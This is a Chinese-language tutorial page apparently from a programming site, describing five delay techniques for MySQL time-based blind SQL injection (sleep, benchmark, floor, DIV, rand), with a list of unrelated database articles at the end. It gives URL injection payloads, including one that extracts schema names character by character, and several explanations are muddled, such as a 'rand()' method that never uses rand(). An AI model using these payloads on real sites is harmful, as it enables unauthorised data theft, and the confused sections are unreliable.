MySQL时间盲注的五种延时方法实现

yizhihongxing

MySQL 时间盲注是一种比较常见的注入技巧,指的是在注入的过程中无法直接获取数据,但可以通过延时等方式判断 SQL 查询是否满足条件。下面将详细介绍 MySQL 时间盲注的五种延时方法和实现步骤。

1. sleep() 延时

实现步骤:

  1. 构造 payload,注入点通常在 URL 参数或者表单中,可通过一些测试工具进行批量测试。
  2. 判断当前数据是否符合预期条件,如果不符合时,发出如下 SQL 语句来实现延时 select sleep(5) where 1=1;,其中 sleep(5) 指延时 5 秒,where 1=1 代表恒成立。
  3. 根据注入结果判断是否延时生效。

示例说明:

  1. 假设注入点在 id 参数中,构造 payload:?id=-1' || sleep(5) || '--+'
  2. 判断当前数据是否符合预期条件,如果不符合,发出如下 SQL 语句:select sleep(5) where id=-1 || sleep(5)
  3. 根据注入结果判断是否延时生效。

2. benchmark() 延时

实现步骤:

  1. 构造 payload,注入点通常在 URL 参数或者表单中,可通过一些测试工具进行批量测试。
  2. 假设我们要延时 5 秒,那么构造语句如下:select benchmark(5000000,md5('test')),其中 5000000 代表要执行的次数,md5('test') 可以用其他函数代替。
  3. 根据注入结果判断是否延时生效。

示例说明:

  1. 假设注入点在 id 参数中,构造 payload:?id=-1' || benchmark(5000000,md5('test')) || '--+'
  2. 判断当前数据是否符合预期条件,如果不符合,发出如下 SQL 语句:select benchmark(5000000,md5('test')) where id=-1 || benchmark(5000000,md5('test'))
  3. 根据注入结果判断是否延时生效。

3. floor() 延时

实现步骤:

  1. 构造 payload,注入点通常在 URL 参数或者表单中,可通过一些测试工具进行批量测试。
  2. 通过 floor() 函数取整数部分,将根据所取的整数部分判断延时的时间。
  3. 如果想让结果为 N,那么可以使用以下语句来实现延时:select floor((select * from (select sleep(5)) a)) from test where id=N
  4. 根据注入结果判断是否延时生效。

示例说明:

  1. 假设注入点在 id 参数中,构造 payload:?id=N)) || floor((select * from (select sleep(5)) a)) || '--+',其中 N 为数字。
  2. 发出如下 SQL 语句:select floor((select * from (select sleep(5)) a)) from test where id=N || floor((select * from (select sleep(5)) a))
  3. 根据注入结果判断是否延时生效。

4. DIV 延时

实现步骤:

  1. 构造 payload,注入点通常在 URL 参数或者表单中,可通过一些测试工具进行批量测试。
  2. 使用 DIV 取整函数和效率高的查询语句来实现延时,公式如下:(SELECT * FROM (SELECT(SLEEP(5*(IFNULL(ORD(MID((SELECT IFNULL(CAST(table_schema AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES LIMIT 0,1),1),N),0))) DIV 5) LIMIT 0,1)
  3. 根据注入结果判断是否延时生效。

示例说明:

  1. 假设注入点在 id 参数中,构造 payload:?id=-1' || (SELECT * FROM (SELECT(SLEEP(5*(IFNULL(ORD(MID((SELECT IFNULL(CAST(table_schema AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES LIMIT 0,1),1),N),0))) DIV 5) LIMIT 0,1) || '--+'
  2. 发出如下 SQL 语句:(SELECT * FROM (SELECT(SLEEP(5*(IFNULL(ORD(MID((SELECT IFNULL(CAST(table_schema AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES LIMIT 0,1),1),N),0))) DIV 5) LIMIT 0,1) where id = -1 || (SELECT * FROM (SELECT(SLEEP(5*(IFNULL(ORD(MID((SELECT IFNULL(CAST(table_schema AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES LIMIT 0,1),1),N),0))) DIV 5) LIMIT 0,1)
  3. 根据注入结果判断是否延时生效。

5. rand() 延时

实现步骤:

  1. 构造 payload,注入点通常在 URL 参数或者表单中,可通过一些测试工具进行批量测试。
  2. 使用 rand() 函数随机获取一定范围内的数字,来判断延时的时间。
  3. 如果想要延时 5 秒,可以使用以下语句来实现:SELECT IF(ORD(MID((SELECT(SLEEP(5))),1,1)) > 97,BENCHMARK(9999999,MD5(0x41)),1)
  4. 根据注入结果判断是否延时生效。

示例说明:

  1. 假设注入点在 id 参数中,构造 payload:?id=-1' || if(ascii(substr(database(),1,1)) > N,benchmark(5000000,md5('test')),0) || '--+',其中 N 为 ASCII 码值。
  2. 发出如下 SQL 语句:SELECT IF(ORD(MID((SELECT(SLEEP(5))),1,1)) > N,BENCHMARK(9999999,MD5(0x41)),1) where id = -1 || IF(ORD(MID((SELECT(SLEEP(5))),1,1)) > N,BENCHMARK(9999999,MD5(0x41)),1)
  3. 根据注入结果判断是否延时生效。

以上就是 MySQL 时间盲注的五种延时方法和实现步骤,通过这些方法可以更进一步地了解和应用时间盲注技巧。

本站文章如无特殊说明,均为本站原创,如若转载,请注明出处:MySQL时间盲注的五种延时方法实现 - Python技术站

(0)
上一篇 2023年5月22日
下一篇 2023年5月22日

相关文章

  • 图文详解Mysql索引的最左前缀原则

    下面就是对于Mysql索引最左前缀原则的详细讲解及示例说明: 什么是Mysql索引最左前缀原则? Mysql索引的最左前缀原则是指:在使用Mysql多列索引时,查询语句只能使用该索引的最左前缀列或左侧列。 换句话说,如果创建了一个多列索引(比如包含A、B、C3列),在查询时只有一个条件(如WHERE A=1),那么该查询可以使用该索引;如果查询时使用两个条件…

    database 2023年5月22日
    00
  • PLSQLDeveloper登录远程连接Oracle的操作

    PL/SQL Developer是一个常用的Oracle数据库开发工具,支持连接本地和远程的Oracle数据库。在使用中,需要根据具体情况进行设置和配置来实现远程连接。下面是PL/SQL Developer登录远程连接Oracle的操作攻略,具体步骤如下: 步骤一:配置Oracle数据库 确认Oracle数据库安装并运行,并且允许远程连接。可以在Oracle…

    database 2023年5月21日
    00
  • 解决Spring Data Jpa 实体类自动创建数据库表失败问题

    解决Spring Data Jpa 实体类自动创建数据库表失败问题的完整攻略如下: 问题描述 在使用Spring Data Jpa时,发现实体类自动创建数据库表失败的情况。这种情况通常会出现在程序初始化时,在控制台中会输出Table ‘xxx’ doesn’t exist等错误信息。究竟出现了什么问题,并该如何解决?这就需要我们进行进一步的分析和解决了。 S…

    database 2023年5月18日
    00
  • Table of Contents – Redis

    Getting Started   安装配置环境 Redis 命令   Keys   Strings   Lists   Hashs   Sets   Sorted Sets   Transactions   Connection   Server   Pub/Sub Programming with Redis   排序   事务   发布/订阅   Hy…

    Redis 2023年4月11日
    00
  • 用PHP调用Oracle存储过程

    下面我将给你详细讲解“用PHP调用Oracle存储过程”的完整攻略。 1. 安装Oracle驱动程序 要使用PHP调用Oracle存储过程,我们首先需要安装Oracle官方提供的驱动程序。可以在这个页面下载适合自己系统的驱动版本。下载后,解压缩到合适的位置,并将解压缩后的路径添加到系统环境变量中。其实,我们最好将Oracle的路径设置为PATH环境变量中,这…

    database 2023年5月21日
    00
  • C#编程实现连接SQL SERVER数据库实例详解

    C#编程实现连接SQL SERVER数据库实例详解 在C#编程中,连接数据库是非常常见的操作。本文将详细讲解如何使用C#编程实现连接SQL SERVER数据库的过程。 步骤 1. 引用命名空间 在C#程序中,我们首先需要引用System.Data.SqlClient命名空间,以使用SQL Server相关的类和方法。 using System.Data.Sq…

    database 2023年5月21日
    00
  • 关于MySQL运行机制原理以及架构

    一.概念 MySQL是一个开放源代码的关系数据库管理系统。原开发者为瑞典的MySQL AB公司,最早是在2001年MySQL3.23进入到管理员的视野并在之后获得广泛的应用。  2008年MySQL公司被Sun公司收购并发布了首个收购之后的版本MySQL5.1,该版本引入分区、基于行复制以及plugin API。 移除了原有的BerkeyDB引擎,同时,Or…

    MySQL 2023年4月12日
    00
  • Andriod 读取网络图片实例代码解析

    下面就是详细的讲解。 Andriod 读取网络图片实例代码解析 在Android开发中,我们经常需要读取网络图片,在这里我们分享一些读取网络图片的实例代码,并解析代码中的关键部分。 示例一:使用 Volley 框架读取网络图片 Volley框架可以在Google IO 2013上发布。Volley框架是使用Google提供的HttpURLConnection…

    database 2023年5月21日
    00
合作推广
合作推广
分享本页
返回顶部